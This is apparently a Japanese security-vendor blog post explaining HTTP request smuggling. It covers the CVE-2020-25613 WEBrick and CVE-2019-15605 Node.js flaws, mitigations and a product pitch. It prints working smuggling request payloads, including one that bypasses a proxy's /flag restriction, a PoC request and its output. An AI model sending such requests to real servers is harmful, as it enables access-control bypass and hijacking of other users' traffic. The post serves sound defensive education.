yamory Blog

様々なサイバー攻撃に繋がる脆弱性 HTTP リクエストスマグリング

HTTP リクエストスマグリング(Http Request Smuggling, HRS)は、フロントエンドの Web サーバー(リバースプロキシー、ロードバランサーなど)とバックエンドの Web サーバーで、 HTTP リクエストに対し異なる解釈をしてしまうことで発生する脆弱性です。

この脆弱性が悪用されると、攻撃者によって作成されたリクエストを別のユーザーのリクエストに追加し、フィッシング、クロスサイトスクリプティング(XSS)、キャッシュ汚染、セキュリティ制御のバイパスなどの影響を受ける可能性があります。

本記事では HTTP リクエストスマグリングについての概要から対策方法についての解説と、実際に公開されているライブラリの脆弱性について少し掘り下げて解説します。

HTTP リクエストスマグリングの概要

攻撃者によって作成された不正な HTTP リクエストを解釈する際に、それぞれのサーバーが異なる解釈をしてしまうことによって、フロントエンドのサーバーではひとつのリクエストとして認識したものが、バックエンドのサーバーでは複数のリクエストと認識してしまう、といったことが発生します。
HTTP リクエストスマグリングが発生する仕組み

HTTP リクエストスマグリングは、フロントエンドの Web サーバーと、バックエンドの Web サーバーで、HTTPリクエストを異なる解釈をしてしまうことで発生する脆弱性です。

最近の Web アプリケーションでは、利用者と実際に処理が行われるバックエンドのサーバーまでの間に、ロードバランサーや Web アプリケーションファイアウォール(WAF)など複数のサーバーを経由することが多くなっています。

攻撃者によって作成された不正な HTTP リクエストを解釈する際に、それぞれのサーバーが異なる解釈をしてしまうことによって、フロントエンドのサーバーではひとつのリクエストとして認識したものが、バックエンドのサーバーでは複数のリクエストと認識してしまう、といったことが起こるのです。

Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエストの場合

解釈の違いを引き起こす例のひとつに、Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエストがあります。

POST / HTTP/1.1
Host: example.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: attacker.com
X: 

上記のようなリクエストを攻撃者が送り、フロントエンドのサーバーが Content-Length の方を解釈してそのままリクエストを送り、バックエンドのサーバーは Transfer-Encoding を解釈して以下のような 2 つのリクエストとして認識した場合、HTTP リクエストスマグリングの脆弱性を受け、悪意のある attacker.com のようなサイトへ誘導される可能性があります。

POST / HTTP/1.1
Host: example.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: attacker.com
X: 

Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエスト以外にも、Content-Length ヘッダーが複数ある場合や Transfer-Encoding ヘッダーが難読化(Transfer-Encoding : chunked などコロンの前にスペースを入れているなど)されている場合などあります。

Content-Length ヘッダーと Transfer-Encoding ヘッダーの解釈ミスに関しては、PortSwigger の HTTP request smuggling に詳しく書かれています。

また、Lab を使って実際に HTTP リクエストスマグリングを体験することもできます。

このような HTTP リクエストスマグリングの問題は、現在の HTTP 仕様から逸脱している、RFC7230 に準拠していないサーバー(ライブラリ)が原因で発生しているといえます。

ライブラリに含まれる HTTP リクエストスマグリングの脆弱性

これまでの概要から、サーバーとして動作するライブラリで HTTP リクエストスマグリングが発生しうることがお分かりいただけたと思います。

そのため、対象となるものは Apache HTTP Server 、Apache Tomcat 、Netty 、Ruby の WEBrick 、Puma 、Node.js(http-parser, llhttp)などがあげられます。

これらの中からいくつか具体的な脆弱性を例に紹介したいと思います。

CVE-2020-25613 Ruby WEBrick

CVE ID CVE-2020-25613
HackerOne レポート https://hackerone.com/reports/965267
修正コミット ruby/webrick@8946bb3
報告日 2020 年 8 月 23 日
Bounty $500

CVE-2020-25613 は Ruby 本体にもバンドルされているサーバー機能を持つ WEBrick の HTTP リクエストスマグリングの脆弱性に関するものです。

こちらの HackerOne のレポートから脆弱性の詳細を見てみると、修正前のコードでは

when /chunked/io then read_chunked(socket, block)

となっているため、Transfer-Encoding: AAAchunkedBBBのようなchunkedの前後に不要な文字が入っている場合でも、正しく解釈してしまうという問題がありました。

レポート報告者による影響の例として、HAProxy を利用して/flagへのアクセスを制限した場合でも以下のようなリクエストでバイパスできることが指摘されています。

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: AAA chunked BBB
Connection: keep-alive
Content-Length: 50

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1


上記の例は、概要で説明した Content-Length ヘッダーと Transfer-Encoding ヘッダーの両方を持つリクエストを使ったものになっています。

HAProxy では Content-Length を使って解釈し、WEBrick では Transfer-Encoding を使って解釈することで WEBrick 側では 2 つのリクエストと認識してしまいます。

この問題の修正として以下のように正規表現をより厳格なものへと変更しています。

when /\Achunked\z/io then read_chunked(socket, block)

CVE-2019-15605 Node.js http-parser(llhttp)

CVE ID CVE-2019-15605
HackerOne レポート https://hackerone.com/reports/735748
修正コミット nodejs/http-parser@7d5c99d
報告日 2019 年 11 月 12 日
Bounty $250

CVE-2019-15605 は、Node.js で使われている http-parser、llhttp の Transfer-Encoding の解釈の部分に問題があるために、HTTP リクエストスマグリングを引き起こす可能性があるとされています。

こちらの HackerOneのレポートに詳細に解説された PDF と再現させるための PoC コードが用意されています。

PoC コードのリクエストを見てみると、Transfer-Encoding にchunked以外の文字列がある場合に誤って解釈してしまう問題があることがわかります。

POST / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: hacker.exploit.com
Connection: keep-alive
Content-Length: 10
Transfer-Encoding: chunked, eee

HELLOWORLDPOST / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: hacker.exploit.com
Connection: keep-alive
Content-Length: 30

I AM A SMUGGLED REQUEST!!!

実際に Node.js のバージョンを修正されていない v12.14.1 などに設定してsmuggled-request.jsを実行してみると以下のように 2 つのリクエストとして解釈されることが確認できます。

$ node -v
v12.14.1
$ node smuggled-request.js
------listening
connected to express server!
SENDING DATA TO EXPRESS SERVER
EXPRESS HEADERS {
  'content-type': 'text/plain; charset=utf-8',
  host: 'hacker.exploit.com',
  connection: 'keep-alive',
  'content-length': '10',
  'transfer-encoding': 'chunked, eee'
}
EXPRESS HEADERS {
  'content-type': 'text/plain; charset=utf-8',
  host: 'hacker.exploit.com',
  connection: 'keep-alive',
  'content-length': '30'
}
EXPRESS_GOT_REQUEST>>>>>>>HELLOWORLD<<<<<<END_REQUEST
EXPRESS_GOT_REQUEST>>>>>>>I AM A SMUGGLED REQUEST!!!

<<<<<<END_REQUEST
EXPRESS_CLIENT_GOT_RESPONSE>>>>>>>HTTP/1.1 200 OK
X-Powered-By: Express
Date: Fri, 27 Nov 2020 00:00:00 GMT
Connection: keep-alive
Content-Length: 19

HELLO FROM EXPRESS!HTTP/1.1 200 OK
X-Powered-By: Express
Date: Fri, 27 Nov 2020 00:00:00 GMT
Connection: keep-alive
Content-Length: 19

HELLO FROM EXPRESS!<<<<<<<<<<END_RESPONSE
disconnected from express server

本来であれば RFC7320 にあるように 400 Bad Request を返すべきものが Transfer-Encoding を無視した形でのリクエストと解釈されています。

また、Transfer-Encoding: chunkedでリクエストを送ると正しく 400 Bad Request を返すので、やはり, eeeのような不要な文字列が入ることで誤った解釈が行われてしまうことがわかります。

こちらの脆弱性は February 2020 Security Releases にあるように v10.19.0、v12.15.0、v13.8.0 で修正されています。

そのため、Node.js を v12.15.0 にアップデートして再度実行することで、以下のように 400 Bad Request が返ってくるようになります。

$ node -v
v12.15.0
$ node smuggled-request.js 
------listening
connected to express server!
SENDING DATA TO EXPRESS SERVER
EXPRESS_CLIENT_GOT_RESPONSE>>>>>>>HTTP/1.1 400 Bad Request
Connection: close

<<<<<<<<<<END_RESPONSE
disconnected from express server

余談ですが、HackerOne で報告された PoC コードが Node.js のテストコードにも組み込まれていることも確認できます。

どのような対策を行えば良いのか

HTTP リクエストスマグリングは、フロントエンドとバックエンドのサーバーの解釈の違いから発生する問題のため、どちらも同じサーバーを使う、同じ HTTP パーサーを使うことで解決できますが、この対策を取ることが難しいケースも多いと思います。

バックエンドのサーバーとの通信に HTTP/2 を利用することで対策することもできます。

WAF を使ってリスクを軽減することもできますが、概要で述べたように WAF 自体も HTTP を解釈するので、正しく解釈すること、検知のためのルールが正しく設定されていることが求められます。

上記の対策以外に、これまで例に出した脆弱性に関しては既にパッチが提供されており、アップデートすることで対策することができます。

さいごに

HTTP リクエストスマグリングは古くから知られている脆弱性ではありますが、近年でも新たに脆弱性が発見されています。

最近では、Black Hat USA 2020 の HTTP REQUEST SMUGGLING IN 2020 で少し変形させたタイプの攻撃方法が発表されています。

OSS ライブラリを利用することで新しく発見された脆弱性に対応する必要が発生しますが、脆弱性レジリエンスを高めるための Clean Architectureに書かれているように、OSS を使わないという選択は難しいため、脆弱性対応しやすいアーキテクチャを採用し、常に脆弱性を検出・対応のフローを取りやすくしていくことが大切です。

yamory では、パッケージ管理システムで管理されているライブラリの脆弱性を自動で検出、対応優先順位付けするため、脆弱性の一元管理を行うことができます。
(今回紹介した Node.js 本体に含まれている http-parser などは現在非対応となっております。)

無料トライアルもできますので、ぜひ一度お試しください。

また、yamory ではセキュリティに関するイベントを随時開催中です。
こちら でイベント情報を更新しておりますのでお気軽にご参加くださいませ。

参考記事

オープンソース脆弱性管理ツール yamory

  • 利用中のOSSを抽出し
    脆弱性を自動スキャン
  • 脆弱性への対応優先度を自動で分類
  • 組織規模に合わせたプランを選択可能

プロ

有料料金はお問い合わせください

中〜大規模組織向け

無制限の開発チーム作成

開発チームを俯瞰できるセキュリティチーム機能

危険な脆弱性の Slack 連携通知機能

Jira Cloud と連携

シングル・サインオン(SSO)連携*

* SSO 連携は無料トライアルではご利用できません。プロプラン契約後からご利用できます。

30日間の無料トライアルを開始